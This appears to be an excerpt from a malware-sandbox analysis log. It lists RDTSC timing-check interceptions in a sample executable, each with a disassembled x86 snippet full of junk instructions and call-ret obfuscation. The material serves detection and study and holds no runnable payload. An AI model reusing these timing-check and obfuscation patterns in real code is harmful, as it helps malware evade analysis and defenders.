Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638F71 second address: 638FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jnc 00007F46B8DCA196h 0x0000000d popad 0x0000000e popad 0x0000000f add dword ptr [esp], 0266D455h 0x00000016 xor dword ptr [ebp+122D19F2h], ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F46B8DCA198h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 mov dword ptr [ebp+122D2933h], ecx 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 call 00007F46B8DCA198h 0x00000048 pop eax 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d add dword ptr [esp+04h], 0000001Dh 0x00000055 inc eax 0x00000056 push eax 0x00000057 ret 0x00000058 pop eax 0x00000059 ret 0x0000005a push 00000003h 0x0000005c push A55F2871h 0x00000061 jo 00007F46B8DCA1A0h 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6390AC second address: 639167 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F46B8B98B08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 084F899Ah 0x00000013 jmp 00007F46B8B98B12h 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F46B8B98B08h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 sub dword ptr [ebp+122D1D38h], ebx 0x0000003a call 00007F46B8B98B0Eh 0x0000003f mov cx, dx 0x00000042 pop edx 0x00000043 push 00000000h 0x00000045 adc ecx, 1594D621h 0x0000004b push 00000003h 0x0000004d call 00007F46B8B98B18h 0x00000052 mov edx, 6F2D60DBh 0x00000057 pop edx 0x00000058 call 00007F46B8B98B09h 0x0000005d jnp 00007F46B8B98B13h 0x00000063 jmp 00007F46B8B98B0Dh 0x00000068 push eax 0x00000069 jmp 00007F46B8B98B0Fh 0x0000006e mov eax, dword ptr [esp+04h] 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639167 second address: 639179 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA19Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639179 second address: 63917E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63917E second address: 639197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F46B8DCA196h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jc 00007F46B8DCA1A0h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639197 second address: 639201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push esi 0x0000000b je 00007F46B8B98B08h 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pop eax 0x00000015 call 00007F46B8B98B0Ah 0x0000001a mov dl, EAh 0x0000001c pop edx 0x0000001d lea ebx, dword ptr [ebp+1244AE4Fh] 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F46B8B98B08h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d mov edx, dword ptr [ebp+122D37A2h] 0x00000043 push eax 0x00000044 pushad 0x00000045 jmp 00007F46B8B98B11h 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639201 second address: 639205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C346 second address: 64C34D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659FB7 second address: 659FBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659FBB second address: 659FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657DB7 second address: 657DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657DBB second address: 657DC4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657DC4 second address: 657DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8DCA1A8h 0x00000009 jmp 00007F46B8DCA19Eh 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657DF1 second address: 657DFC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F46B8B98B06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657F30 second address: 657F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F46B8DCA19Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6583FC second address: 658406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F46B8B98B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658406 second address: 65840A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6589FD second address: 658A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658B5E second address: 658B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA19Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658B6C second address: 658B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F46B8B98B0Eh 0x0000000e jo 00007F46B8B98B06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658B8B second address: 658B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658B91 second address: 658BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F46B8B98B12h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F46B8B98B19h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658BC3 second address: 658BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658D2D second address: 658D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658FEE second address: 658FF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658FF2 second address: 659002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007F46B8B98B06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651355 second address: 651359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651359 second address: 65135F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659767 second address: 65976C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6598B4 second address: 6598BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6598BA second address: 6598D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6598D9 second address: 6598DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6598DF second address: 6598E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659E35 second address: 659E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E2E4 second address: 65E2E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E2E9 second address: 65E2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F25C second address: 65F261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662DE0 second address: 662DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629709 second address: 62970D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66615E second address: 666162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665771 second address: 665776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6658BA second address: 6658C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665D25 second address: 665D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F46B8DCA1A0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6695DD second address: 6695E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669736 second address: 66973A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66973A second address: 66974A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66974A second address: 6697B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F46B8DCA196h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F46B8DCA1A5h 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F46B8DCA198h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 cld 0x00000031 call 00007F46B8DCA199h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F46B8DCA1A3h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6697B0 second address: 6697BA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F46B8B98B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669B96 second address: 669B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669D0C second address: 669D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A636 second address: 66A63D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A7EA second address: 66A7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A98C second address: 66A990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AA2E second address: 66AA32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AAD4 second address: 66AB15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F46B8DCA198h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 jmp 00007F46B8DCA1A2h 0x0000001a pushad 0x0000001b push esi 0x0000001c pop esi 0x0000001d push esi 0x0000001e pop esi 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B000 second address: 66B043 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F46B8B98B16h 0x0000000f push 00000000h 0x00000011 mov di, ax 0x00000014 push 00000000h 0x00000016 jmp 00007F46B8B98B16h 0x0000001b xchg eax, ebx 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B043 second address: 66B067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B067 second address: 66B06C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B9B9 second address: 66B9D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CB86 second address: 66CB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C232 second address: 66C236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CB8B second address: 66CB92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C236 second address: 66C23C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CB92 second address: 66CBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D5990h] 0x00000010 push 00000000h 0x00000012 sbb esi, 0F11567Eh 0x00000018 mov edi, 14487293h 0x0000001d push 00000000h 0x0000001f sub esi, 17DD72D2h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 pushad 0x0000002a popad 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C23C second address: 66C242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E0A3 second address: 66E126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F46B8B98B08h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jmp 00007F46B8B98B0Ch 0x00000029 jp 00007F46B8B98B06h 0x0000002f push 00000000h 0x00000031 movzx esi, bx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F46B8B98B08h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 jmp 00007F46B8B98B15h 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 push ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E126 second address: 66E12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EB15 second address: 66EB1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EB1A second address: 66EB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F46B8DCA19Bh 0x0000000d nop 0x0000000e pushad 0x0000000f mov ebx, edx 0x00000011 popad 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F46B8DCA198h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov esi, dword ptr [ebp+1244AF88h] 0x00000034 push 00000000h 0x00000036 sub dword ptr [ebp+122D334Fh], ebx 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EB64 second address: 66EB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6701A6 second address: 6701AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671667 second address: 671672 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F46B8B98B06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671CF5 second address: 671DA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F46B8DCA19Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F46B8DCA19Ch 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F46B8DCA198h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov ebx, dword ptr [ebp+122D37A2h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F46B8DCA198h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 add bx, BFD6h 0x00000055 push 00000000h 0x00000057 jnl 00007F46B8DCA19Ch 0x0000005d adc edi, 002CB847h 0x00000063 xchg eax, esi 0x00000064 jg 00007F46B8DCA1ADh 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F46B8DCA19Ch 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671DA2 second address: 671DAC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F46B8B98B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672E0B second address: 672E33 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007F46B8DCA1B9h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F46B8DCA1A7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671F44 second address: 671F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F46B8B98B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6730BD second address: 6730C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674106 second address: 67410A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67410A second address: 67410E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675006 second address: 6750A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and ebx, 26950E2Eh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jmp 00007F46B8B98B0Eh 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 pushad 0x00000024 push ebx 0x00000025 jmp 00007F46B8B98B17h 0x0000002a pop edx 0x0000002b mov eax, dword ptr [ebp+122D34AEh] 0x00000031 popad 0x00000032 mov eax, dword ptr [ebp+122D1215h] 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F46B8B98B08h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 and bh, 0000003Bh 0x00000055 push FFFFFFFFh 0x00000057 or ebx, 296AB1A4h 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F46B8B98B0Ch 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675CAA second address: 675CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
